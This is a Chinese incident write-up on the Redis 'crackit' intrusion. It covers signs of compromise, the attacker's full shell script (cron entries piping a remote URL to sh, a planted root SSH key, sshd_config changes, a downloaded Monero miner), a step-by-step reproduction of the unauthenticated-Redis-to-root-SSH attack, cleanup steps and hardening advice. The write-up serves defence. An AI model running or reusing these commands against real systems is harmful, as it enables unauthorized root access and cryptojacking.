redis crackit入侵事件总结

1. 现象

 &emsp有以下其一现象就要注意是否被入侵:

• crontab -l 可以看到类似“/15 * curl -fsSL https://r.chanstring.com/api/... | sh”。
• ps -ef 可以看到进程 “/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[e-mail]:6666/xmr”。
• 查看redis库，有“crackit”键。

2. 分析

通过查看从“https://r.chanstring.com/api/...”获取的脚本进行分析，脚本如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[e-mail]:6666/xmr &

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/opt/yam/yam" ]; then
    rm -rf /opt/yam
    mkdir -p /opt/yam
    curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam
    chmod +x /opt/yam/yam
    nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[e-mail]:6666/xmr &
fi

if [ ! -f "/etc/init.d/lady" ]; then
    if [ ! -f "/etc/systemd/system/lady.service" ]; then
        mkdir -p /opt
        curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33
    fi
fi

rm -rf /tmp/KHK75NEOiq*

service lady start
systemctl start lady.service
/etc/init.d/lady start

上面的脚本大概做了如下几件事：

• 将攻击脚本写入肉鸡的crontab中，定时执行；
• 将/opt/yam/yam（https://r.chanstring.com/api/...）放肉鸡后台执行；
• 建立到肉鸡的单向信任关系，即无需密码即可以root权限登录肉鸡 注册

并启动/etc/init.d/lady（https://r.chanstring.com/v10/...`uname -i`处获取）服务。

3. 模拟

为了更好地理解具体流程，以便于采取补救措施，这里手动进行下模拟：

• 前提：远程主机可以无需密码登录redis

1. 执行命令“ssh-keygen -t rsa”一路回车到底，生成公钥和私钥（也可以执行 ssh-keygen -t rsa -C "ssss"以隐藏公钥中的主机名）。 生成到txt “(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt”（为了避免会拼接在其他字符串后面或被其他字符串拼接，这里在公钥上下加两行空行）
2. 清空redis：redis-cli -h 远程ip flushall (非常暴力，请务必在测试环境执行。实际上也不用清空，因为在第2步中我们已经加了多的空行)
3. 执行：“cat foo.txt | redis-cli -h xxxx -x set crackit”（这里“crackit”可以是任意名字）

4. 执行命令“redis-cli -h 远程ip”登录到远程主机redis，执行如下命令：

   # 调用config set命令对redis的备份文件路径进行修改，然后执行
   # save进行生成备份文件(这里是生成了authorized_keys文件，也可
   # 以是任意名字，但如果是其他名字就需要通过脚本对远程主
   # 机/etc/ssh/sshd_config文件进行相应的配置)。这样就可以使用
   # 本地的私钥去登入被植入公钥的ssh服务器了。
   
   config set dir /root/.ssh/
   config dbfilename authorized_keys
   save

5. 然后写一个对远程主机的/etc/ssh/sshd_config进行相关配置并重启远程主机sshd服务的脚本，通过上面的步骤植入到远程主机的/var/spool/cron/root文件中，以让远程主机执行该脚本。

到这里，我们就可以不需要密码以root身份登录远程主机了。

4. 清理

若不想重装系统，就得清理掉入侵者写入本地的文件，及在本机开启的服务。

1. 删掉/var/spool/cron/root、/var/spool/cron/crontabs/root，重启crontab服务；
2. 删掉/root/.ssh/目录下的异常文件(可以删除所有文件)；
3. kill掉/opt/yam/yam产生的进程，并删除/opt/yam/yam；
4. 将/etc/init.d/lady从服务列表中删除，停掉/etc/init.d/lady，删除/etc/init.d/lady；
5. 修复/etc/ssh/sshd_config文件； 修复redis配置文件，重启redis。

5. 修补加固建议

1. 通过配置rename-command CONFIG ""，禁用一些命令。(某些必须以高权限运行的，可以借鉴该方案)

      
      修改redis.conf文件，增加
      rename-command FLUSHALL ""
      rename-command FLUSHDB ""
      rename-command CONFIG ""
      rename-command EVAL ""

2. 以低权限启动redis

      切换到其他用户su - xxx，然后再启动server(切换是否注意之前文件权限，也需要相应修改)。
   

3. 给redis增加验证。

      修改redis.conf文件
      requirepass mypassword
   

4. 禁止对公网开放，将端口绑定到固定IP。

      修改redis.conf文件
      bind 127.0.0.1
   

5. 检查用户.ssh目录下是否已经存在非法的authorized_keys文件。